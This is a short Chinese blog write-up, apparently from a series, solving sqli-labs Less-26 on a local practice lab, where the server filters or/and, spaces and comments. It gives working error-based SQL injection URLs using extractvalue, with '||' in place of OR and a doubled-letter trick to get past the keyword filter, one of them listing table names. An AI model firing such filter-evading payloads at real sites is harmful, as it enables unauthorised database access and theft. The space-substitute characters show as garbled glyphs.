前言:
本关为sql注入系列第16关,此系类持续更新中,前面关卡可以参考此系列其他文章,如有错误的地方欢迎师傅指正,请看正文:
正文:
这是直接测试之后的结果,如果查看源码可以发现,后台不仅过滤了上一关的or和and,而且空格和注释也过滤掉了。刚开始我自己进行测试的时候使用了其他url编码的空字符,明明过滤后的语句有空格但是依然报错,在百度过后才知道是阿帕奇的问题,不过可以在Linux里面测试(我没有试,直接用的报错注入),使用报错注入可以避免使用空格,可以代替空格的空字符如下:
� � � � � #也许还有其他的
注入语句如下:
http://localhost/sqli-labs-master/Less-26/ id=1’||extractvalue(1,concat(’~’,database()))||1='1
使用updatexml函数效果一样,不了解的可以参考我前面的文章,接下来就继续报表,由于这个语句有点麻烦所以讲一下这个后面的参照就可以了:
正确回显,不过注入的时候一定要仔细,我就因为括号的问题出错了很多次(要细心哦)。
http://localhost/sqli-labs-master/Less-26/?id=1’||extractvalue(1,concat(’~’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’))))||1='1
好了,后面的步骤都一样,就不再赘述,感谢支持,后面会持续更新,加油~